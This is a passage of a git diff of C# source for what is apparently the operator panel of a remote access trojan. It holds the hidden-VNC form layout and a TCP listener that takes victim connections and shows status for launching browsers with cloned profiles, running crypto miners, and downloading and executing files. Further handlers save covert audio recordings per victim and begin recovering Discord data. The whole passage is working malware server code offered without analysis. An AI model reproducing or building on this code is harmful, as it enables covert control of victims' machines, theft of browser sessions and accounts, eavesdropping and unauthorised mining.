this.simpleButton2 = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.panelControl2 = new DevExpress.XtraEditors.PanelControl();
this.CloseBtn = new DevExpress.XtraEditors.SimpleButton();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.LabelStatus = new System.Windows.Forms.ToolStripStatusLabel();
this.panelControl3 = new DevExpress.XtraEditors.PanelControl();
((System.ComponentModel.ISupportInitialize)this.VNCBox).BeginInit();
((System.ComponentModel.ISupportInitialize)this.chkClone.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll).BeginInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.DuplicateProgess.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).BeginInit();
this.panelControl2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
this.statusStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl3).BeginInit();
this.panelControl3.SuspendLayout();
base.SuspendLayout();
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.ResizeLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.ResizeLabel.AutoSize = true;
this.ResizeLabel.Location = new System.Drawing.Point(773, 11);
this.ResizeLabel.Name = "ResizeLabel";
this.ResizeLabel.Size = new System.Drawing.Size(71, 13);
this.ResizeLabel.TabIndex = 4;
this.ResizeLabel.Text = "Resize : 55%";
this.QualityLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.QualityLabel.AutoSize = true;
this.QualityLabel.Location = new System.Drawing.Point(588, 11);
this.QualityLabel.Name = "QualityLabel";
this.QualityLabel.Size = new System.Drawing.Size(74, 13);
this.QualityLabel.TabIndex = 5;
this.QualityLabel.Text = "Quality : 50%";
this.IntervalLabel.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.IntervalLabel.AutoSize = true;
this.IntervalLabel.Location = new System.Drawing.Point(391, 147);
this.IntervalLabel.Name = "IntervalLabel";
this.IntervalLabel.Size = new System.Drawing.Size(94, 13);
this.IntervalLabel.TabIndex = 6;
this.IntervalLabel.Text = "Interval (ms): 500";
this.IntervalLabel.Visible = false;
this.VNCBox.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.VNCBox.Dock = System.Windows.Forms.DockStyle.Fill;
this.VNCBox.Location = new System.Drawing.Point(0, 37);
this.VNCBox.Name = "VNCBox";
this.VNCBox.Size = new System.Drawing.Size(958, 395);
this.VNCBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.VNCBox.TabIndex = 7;
this.VNCBox.TabStop = false;
this.VNCBox.Click += new System.EventHandler(VNCBox_Click);
this.VNCBox.MouseDown += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseDown);
this.VNCBox.MouseHover += new System.EventHandler(VNCBox_MouseHover);
this.VNCBox.MouseMove += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseMove);
this.VNCBox.MouseUp += new System.Windows.Forms.MouseEventHandler(VNCBox_MouseUp);
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(44, 17);
this.toolStripStatusLabel1.Text = "Statut :";
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
this.toolStripStatusLabel2.Size = new System.Drawing.Size(26, 17);
this.toolStripStatusLabel2.Text = "Idle";
this.timer2.Enabled = true;
this.timer2.Interval = 1000;
this.timer2.Tick += new System.EventHandler(timer2_Tick);
this.chkClone.Dock = System.Windows.Forms.DockStyle.Right;
this.chkClone.Location = new System.Drawing.Point(824, 2);
this.chkClone.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.chkClone.Name = "chkClone";
this.chkClone.Properties.Caption = "Clone session profile";
this.chkClone.Size = new System.Drawing.Size(134, 22);
this.chkClone.TabIndex = 30;
this.ResizeScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.ResizeScroll.EditValue = 50;
this.ResizeScroll.Location = new System.Drawing.Point(850, 3);
this.ResizeScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.ResizeScroll.Name = "ResizeScroll";
this.ResizeScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.ResizeScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ResizeScroll.Properties.LargeChange = 100;
this.ResizeScroll.Properties.Maximum = 100;
this.ResizeScroll.Properties.Minimum = 10;
this.ResizeScroll.Properties.ShowLabels = true;
this.ResizeScroll.Properties.SmallChange = 50;
this.ResizeScroll.Properties.TickFrequency = 10;
this.ResizeScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.None;
this.ResizeScroll.Size = new System.Drawing.Size(100, 45);
this.ResizeScroll.TabIndex = 35;
this.ResizeScroll.Value = 50;
this.ResizeScroll.Scroll += new System.EventHandler(ResizeScroll_Scroll);
this.QualityScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.QualityScroll.EditValue = 50;
this.QualityScroll.Location = new System.Drawing.Point(667, 3);
this.QualityScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.QualityScroll.Name = "QualityScroll";
this.QualityScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.QualityScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.QualityScroll.Properties.LargeChange = 100;
this.QualityScroll.Properties.Maximum = 100;
this.QualityScroll.Properties.Minimum = 10;
this.QualityScroll.Properties.ShowLabels = true;
this.QualityScroll.Properties.SmallChange = 50;
this.QualityScroll.Properties.TickFrequency = 10;
this.QualityScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.None;
this.QualityScroll.Size = new System.Drawing.Size(100, 45);
this.QualityScroll.TabIndex = 34;
this.QualityScroll.Value = 50;
this.QualityScroll.Scroll += new System.EventHandler(QualityScroll_Scroll);
this.IntervalScroll.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
this.IntervalScroll.EditValue = 500;
this.IntervalScroll.Location = new System.Drawing.Point(488, 136);
this.IntervalScroll.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.IntervalScroll.Name = "IntervalScroll";
this.IntervalScroll.Properties.LabelAppearance.Options.UseTextOptions = true;
this.IntervalScroll.Properties.LabelAppearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.IntervalScroll.Properties.LargeChange = 100;
this.IntervalScroll.Properties.Maximum = 1000;
this.IntervalScroll.Properties.Minimum = 10;
this.IntervalScroll.Properties.ShowLabels = true;
this.IntervalScroll.Properties.SmallChange = 50;
this.IntervalScroll.Properties.TickFrequency = 100;
this.IntervalScroll.Properties.TickStyle = System.Windows.Forms.TickStyle.Both;
this.IntervalScroll.Size = new System.Drawing.Size(100, 45);
this.IntervalScroll.TabIndex = 33;
this.IntervalScroll.Value = 500;
this.IntervalScroll.Visible = false;
this.IntervalScroll.Scroll += new System.EventHandler(IntervalScroll_Scroll);
this.DuplicateProgess.EditValue = 1;
this.DuplicateProgess.Location = new System.Drawing.Point(207, 321);
this.DuplicateProgess.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.DuplicateProgess.Name = "DuplicateProgess";
this.DuplicateProgess.Properties.Appearance.BackColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.BackColor2 = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.BorderColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.ForeColor = System.Drawing.Color.Red;
this.DuplicateProgess.Properties.Appearance.ForeColor2 = System.Drawing.Color.Red;
this.DuplicateProgess.Size = new System.Drawing.Size(127, 15);
this.DuplicateProgess.TabIndex = 36;
this.simpleButton9.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton9.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton9.ImageOptions.Image");
this.simpleButton9.Location = new System.Drawing.Point(178, 2);
this.simpleButton9.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton9.Name = "simpleButton9";
this.simpleButton9.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton9.Size = new System.Drawing.Size(88, 29);
this.simpleButton9.TabIndex = 3;
this.simpleButton9.Text = "Firefox";
this.simpleButton9.Click += new System.EventHandler(button2_Click);
this.simpleButton10.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton10.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton10.ImageOptions.Image");
this.simpleButton10.Location = new System.Drawing.Point(90, 2);
this.simpleButton10.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton10.Name = "simpleButton10";
this.simpleButton10.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton10.Size = new System.Drawing.Size(88, 29);
this.simpleButton10.TabIndex = 2;
this.simpleButton10.Text = "Edge";
this.simpleButton10.Click += new System.EventHandler(button1_Click);
this.simpleButton11.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton11.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton11.ImageOptions.Image");
this.simpleButton11.Location = new System.Drawing.Point(266, 2);
this.simpleButton11.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton11.Name = "simpleButton11";
this.simpleButton11.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton11.Size = new System.Drawing.Size(88, 29);
this.simpleButton11.TabIndex = 1;
this.simpleButton11.Text = "Brave";
this.simpleButton11.Click += new System.EventHandler(button4_Click);
this.simpleButton12.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton12.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton12.ImageOptions.Image");
this.simpleButton12.Location = new System.Drawing.Point(2, 2);
this.simpleButton12.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton12.Name = "simpleButton12";
this.simpleButton12.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton12.Size = new System.Drawing.Size(88, 29);
this.simpleButton12.TabIndex = 0;
this.simpleButton12.Text = "Chrome";
this.simpleButton12.Click += new System.EventHandler(StartBrowserBtn_Click);
this.simpleButton6.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton6.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton6.ImageOptions.Image");
this.simpleButton6.Location = new System.Drawing.Point(71, 2);
this.simpleButton6.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton6.Name = "simpleButton6";
this.simpleButton6.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton6.Size = new System.Drawing.Size(69, 33);
this.simpleButton6.TabIndex = 5;
this.simpleButton6.Text = "Paste";
this.simpleButton6.Click += new System.EventHandler(PasteBtn_Click);
this.simpleButton5.Dock = System.Windows.Forms.DockStyle.Left;
this.simpleButton5.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton5.ImageOptions.Image");
this.simpleButton5.Location = new System.Drawing.Point(2, 2);
this.simpleButton5.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton5.Name = "simpleButton5";
this.simpleButton5.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton5.Size = new System.Drawing.Size(69, 33);
this.simpleButton5.TabIndex = 4;
this.simpleButton5.Text = "Copy";
this.simpleButton5.Click += new System.EventHandler(CopyBtn_Click);
this.simpleButton4.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton4.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton4.ImageOptions.Image");
this.simpleButton4.Location = new System.Drawing.Point(641, 2);
this.simpleButton4.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton4.Name = "simpleButton4";
this.simpleButton4.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton4.Size = new System.Drawing.Size(99, 29);
this.simpleButton4.TabIndex = 3;
this.simpleButton4.Text = "PowerShell";
this.simpleButton4.Click += new System.EventHandler(button8_Click);
this.simpleButton3.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton3.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton3.ImageOptions.Image");
this.simpleButton3.Location = new System.Drawing.Point(740, 2);
this.simpleButton3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton3.Size = new System.Drawing.Size(69, 29);
this.simpleButton3.TabIndex = 2;
this.simpleButton3.Text = "CMD";
this.simpleButton3.Click += new System.EventHandler(button7_Click);
this.simpleButton2.Dock = System.Windows.Forms.DockStyle.Right;
this.simpleButton2.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("simpleButton2.ImageOptions.Image");
this.simpleButton2.Location = new System.Drawing.Point(809, 2);
this.simpleButton2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton2.Name = "simpleButton2";
this.simpleButton2.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.simpleButton2.Size = new System.Drawing.Size(83, 29);
this.simpleButton2.TabIndex = 1;
this.simpleButton2.Text = "Explorer";
this.simpleButton2.Click += new System.EventHandler(StartExplorer_Click);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(960, 496);
this.xtraTabControl1.TabIndex = 37;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.VNCBox);
this.xtraTabPage1.Controls.Add(this.DuplicateProgess);
this.xtraTabPage1.Controls.Add(this.panelControl2);
this.xtraTabPage1.Controls.Add(this.IntervalLabel);
this.xtraTabPage1.Controls.Add(this.panelControl1);
this.xtraTabPage1.Controls.Add(this.IntervalScroll);
this.xtraTabPage1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(958, 465);
this.panelControl2.Controls.Add(this.simpleButton4);
this.panelControl2.Controls.Add(this.simpleButton3);
this.panelControl2.Controls.Add(this.simpleButton11);
this.panelControl2.Controls.Add(this.simpleButton9);
this.panelControl2.Controls.Add(this.simpleButton10);
this.panelControl2.Controls.Add(this.simpleButton12);
this.panelControl2.Controls.Add(this.simpleButton2);
this.panelControl2.Controls.Add(this.CloseBtn);
this.panelControl2.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl2.Location = new System.Drawing.Point(0, 432);
this.panelControl2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl2.Name = "panelControl2";
this.panelControl2.Size = new System.Drawing.Size(958, 33);
this.panelControl2.TabIndex = 42;
this.CloseBtn.Dock = System.Windows.Forms.DockStyle.Right;
this.CloseBtn.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("CloseBtn.ImageOptions.Image");
this.CloseBtn.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleLeft;
this.CloseBtn.Location = new System.Drawing.Point(892, 2);
this.CloseBtn.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.CloseBtn.Name = "CloseBtn";
this.CloseBtn.PaintStyle = DevExpress.XtraEditors.Controls.PaintStyles.Light;
this.CloseBtn.Size = new System.Drawing.Size(64, 29);
this.CloseBtn.TabIndex = 39;
this.CloseBtn.Text = "Close";
this.CloseBtn.Click += new System.EventHandler(CloseBtn_Click);
this.panelControl1.Controls.Add(this.simpleButton6);
this.panelControl1.Controls.Add(this.ResizeScroll);
this.panelControl1.Controls.Add(this.simpleButton5);
this.panelControl1.Controls.Add(this.ResizeLabel);
this.panelControl1.Controls.Add(this.QualityScroll);
this.panelControl1.Controls.Add(this.QualityLabel);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl1.Location = new System.Drawing.Point(0, 0);
this.panelControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(958, 37);
this.panelControl1.TabIndex = 38;
this.statusStrip1.AllowItemReorder = true;
this.statusStrip1.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.statusStrip1.Dock = System.Windows.Forms.DockStyle.None;
this.statusStrip1.GripStyle = System.Windows.Forms.ToolStripGripStyle.Visible;
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[1] { this.LabelStatus });
this.statusStrip1.Location = new System.Drawing.Point(5, 2);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Size = new System.Drawing.Size(65, 22);
this.statusStrip1.SizingGrip = false;
this.statusStrip1.TabIndex = 19;
this.LabelStatus.Name = "LabelStatus";
this.LabelStatus.Size = new System.Drawing.Size(39, 17);
this.LabelStatus.Text = "Ready";
this.panelControl3.Controls.Add(this.statusStrip1);
this.panelControl3.Controls.Add(this.chkClone);
this.panelControl3.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl3.Location = new System.Drawing.Point(0, 496);
this.panelControl3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl3.Name = "panelControl3";
this.panelControl3.Size = new System.Drawing.Size(960, 26);
this.panelControl3.TabIndex = 38;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(960, 522);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.panelControl3);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FrmVNC.IconOptions.Icon");
base.IconOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("FrmVNC.IconOptions.SvgImage");
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(962, 556);
base.Name = "FrmVNC";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "HVNC";
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(VNCForm_FormClosing);
base.Load += new System.EventHandler(VNCForm_Load);
base.Click += new System.EventHandler(VNCForm_Click);
base.KeyPress += new System.Windows.Forms.KeyPressEventHandler(VNCForm_KeyPress);
((System.ComponentModel.ISupportInitialize)this.VNCBox).EndInit();
((System.ComponentModel.ISupportInitialize)this.chkClone.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.DuplicateProgess.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).EndInit();
this.panelControl2.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.panelControl1.PerformLayout();
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl3).EndInit();
this.panelControl3.ResumeLayout(false);
this.panelControl3.PerformLayout();
base.ResumeLayout(false);
}
}

30
Forms/FrmVNC.resx Normal file

File diff suppressed because one or more lines are too long

11
GROUP_TYPE.cs Normal file
View File

@ -0,0 +1,11 @@
namespace Server;
public enum GROUP_TYPE
{
NONE,
LOCATION,
OS,
GROUP,
DEFENDER,
NOTE
}

8
GrabItem.cs Normal file
View File

@ -0,0 +1,8 @@
namespace Server;
public class GrabItem
{
public string category { get; set; }
public string value { get; set; }
}

291
HVNCListener.cs Normal file
View File

@ -0,0 +1,291 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Threading;
using System.Windows.Forms;
using Microsoft.VisualBasic.CompilerServices;
using Server.Connection;
using Server.Forms;
namespace Server;
internal class HVNCListener
{
public static int HVNC_PORT = 4448;
public static List<TcpClient> _clientList = new List<TcpClient>();
public static TcpListener _TcpListener;
private static Clients main_client = null;
public static Random random = new Random();
public static void SetAllowIp(Clients _cl)
{
main_client = _cl;
}
public void Start()
{
Thread thread = new Thread(Listenning);
thread.IsBackground = true;
thread.Start();
}
public static void ShowHVNC(TcpClient client)
{
Program.mainform.Invoke((MethodInvoker)delegate
{
FrmVNC frmVNC = new FrmVNC
{
client = client,
main_client = main_client
};
frmVNC.Name = "VNCForm:" + Conversions.ToString(client.GetHashCode());
string text = client.Client.RemoteEndPoint.ToString().Split(':')[0];
frmVNC.Text = "HVNC from [" + text + "]";
frmVNC.Show();
});
}
private void Listenning()
{
try
{
_clientList = new List<TcpClient>();
_TcpListener = new TcpListener(IPAddress.Any, HVNC_PORT);
_TcpListener.Start();
_TcpListener.BeginAcceptTcpClient(ResultAsync, _TcpListener);
}
catch (Exception)
{
}
}
public static string RandomNumber(int length)
{
return new string((from s in Enumerable.Repeat("0123456789", length)
select s[random.Next(s.Length)]).ToArray());
}
private void ResultAsync(IAsyncResult iasyncResult_0)
{
try
{
TcpClient tcpClient = ((TcpListener)iasyncResult_0.AsyncState).EndAcceptTcpClient(iasyncResult_0);
tcpClient.GetStream().BeginRead(new byte[1], 0, 0, ReadResult, tcpClient);
_TcpListener.BeginAcceptTcpClient(ResultAsync, _TcpListener);
}
catch (Exception)
{
}
}
private void ReadResult(IAsyncResult iasyncResult_0)
{
TcpClient tcpClient = (TcpClient)iasyncResult_0.AsyncState;
string text = ((IPEndPoint)tcpClient.Client.RemoteEndPoint).Address.ToString();
if (main_client == null || text != main_client.Ip)
{
if (_clientList.Contains(tcpClient))
{
_clientList.Remove(tcpClient);
}
tcpClient.Close();
tcpClient.Dispose();
return;
}
checked
{
try
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Simple;
binaryFormatter.TypeFormat = FormatterTypeStyle.TypesAlways;
binaryFormatter.FilterLevel = TypeFilterLevel.Full;
byte[] array = new byte[8];
int num = 8;
int num2 = 0;
while (num > 0)
{
int num3 = tcpClient.GetStream().Read(array, num2, num);
num -= num3;
num2 += num3;
}
ulong num4 = BitConverter.ToUInt64(array, 0);
int num5 = 0;
byte[] array2 = new byte[Convert.ToInt32(decimal.Subtract(new decimal(num4), 1m)) + 1];
using (MemoryStream memoryStream = new MemoryStream())
{
int num6 = 0;
int num7 = array2.Length;
while (num7 > 0)
{
num5 = tcpClient.GetStream().Read(array2, num6, num7);
num7 -= num5;
num6 += num5;
}
memoryStream.Write(array2, 0, (int)num4);
memoryStream.Position = 0L;
object objectValue = RuntimeHelpers.GetObjectValue(binaryFormatter.Deserialize(memoryStream));
if (objectValue is string)
{
string[] array3 = (string[])NewLateBinding.LateGet(objectValue, null, "split", new object[1] { "|" }, null, null, null);
try
{
if (Operators.CompareString(array3[0], "54321", TextCompare: false) == 0)
{
_clientList.Add(tcpClient);
ShowHVNC(tcpClient);
}
else if (_clientList.Contains(tcpClient))
{
GetStatus(RuntimeHelpers.GetObjectValue(objectValue), tcpClient);
}
else
{
tcpClient.Close();
}
}
catch (Exception)
{
}
}
else if (_clientList.Contains(tcpClient))
{
GetStatus(RuntimeHelpers.GetObjectValue(objectValue), tcpClient);
}
else
{
tcpClient.Close();
}
memoryStream.Close();
memoryStream.Dispose();
}
tcpClient.GetStream().BeginRead(new byte[1], 0, 0, ReadResult, tcpClient);
}
catch (Exception ex2)
{
if (!ex2.Message.Contains("disposed") && _clientList.Contains(tcpClient))
{
lock (_clientList)
{
try
{
int index = _clientList.IndexOf(tcpClient);
_clientList.RemoveAt(index);
}
catch (Exception)
{
}
}
}
tcpClient.Close();
}
}
}
public static void HandleHVNCData(string object_2, FrmVNC frm)
{
if (frm != null && object_2 != null)
{
string[] array = object_2.Split('|');
string obj = array[0];
if (obj.Equals("0"))
{
frm.VNCBoxe.Tag = new Size(Convert.ToInt32(array[1]), Convert.ToInt32(array[2]));
}
if (obj.Equals("200"))
{
frm._LabelStatus.Text = "Chrome successfully started with clone profile !";
}
if (obj.Equals("201"))
{
frm._LabelStatus.Text = "Chrome successfully started !";
}
if (obj.Equals("202"))
{
frm._LabelStatus.Text = "Firefox successfully started with clone profile !";
}
if (obj.Equals("203"))
{
frm._LabelStatus.Text = "Firefox successfully started !";
}
if (obj.Equals("204"))
{
frm._LabelStatus.Text = "Edge successfully started with clone profile !";
}
if (obj.Equals("205"))
{
frm._LabelStatus.Text = "Edge successfully started !";
}
if (obj.Equals("206"))
{
frm._LabelStatus.Text = "Brave successfully started with clone profile !";
}
if (obj.Equals("207"))
{
frm._LabelStatus.Text = "Brave successfully started !";
}
if (obj.Equals("256"))
{
frm._LabelStatus.Text = "Downloaded successfully ! | Executed...";
}
if (obj.Equals("222"))
{
frm._LabelStatus.Text = "ETH miner successfully started !";
}
if (obj.Equals("223"))
{
frm._LabelStatus.Text = "ETC miner successfully started !";
}
if (obj.Equals("22"))
{
frm.total_size = Convert.ToInt32(array[1]);
frm.DuplicateProgess.Position = Convert.ToInt32(array[1]);
}
if (obj.Equals("23"))
{
frm.DuplicateProfile(Convert.ToInt32(array[1]));
}
if (obj.Equals("24"))
{
frm._LabelStatus.Text = "Clone successfully !";
}
if (obj.Equals("25"))
{
frm._LabelStatus.Text = array[1];
}
if (obj.Equals("26"))
{
frm._LabelStatus.Text = array[1];
}
if (obj.Equals("9"))
{
Clipboard.SetText(array[1]);
}
}
}
public void GetStatus(object object_2, TcpClient tcpClient_0)
{
int hashCode = tcpClient_0.GetHashCode();
FrmVNC frmVNC = (FrmVNC)Application.OpenForms["VNCForm:" + Conversions.ToString(hashCode)];
if (object_2 is Bitmap)
{
frmVNC.VNCBoxe.Image = (Image)object_2;
}
else if (object_2 is string)
{
HandleHVNCData((string)object_2, frmVNC);
}
}
}

View File

@ -0,0 +1,46 @@
using System;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleAudio
{
public async void SaveAudio(Clients client, MsgPack unpack_msgpack)
{
try
{
FormAudio formAudio = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true")
{
formAudio.btnStartStopRecord.Text = "Start Recording";
formAudio.btnStartStopRecord.Enabled = true;
client.Disconnected();
return;
}
formAudio.btnStartStopRecord.Text = "Start Recording";
formAudio.btnStartStopRecord.Enabled = true;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
await Task.Run(delegate
{
byte[] asBytes = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", asBytes);
});
new HandleLogs().Addmsg("Client " + client.Ip + " recording successfile located @ ClientsFolder/" + unpack_msgpack.ForcePathObject("Hwid").AsString + "/SaveAudio", Color.Purple);
client.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg("Save recorded file fail " + ex.Message, Color.Red);
}
}
}

View File

@ -0,0 +1,38 @@
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleDiscordRecovery
{
public HandleDiscordRecovery(Clients client, MsgPack unpack_msgpack)
{
try
{
string text = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "Discord");
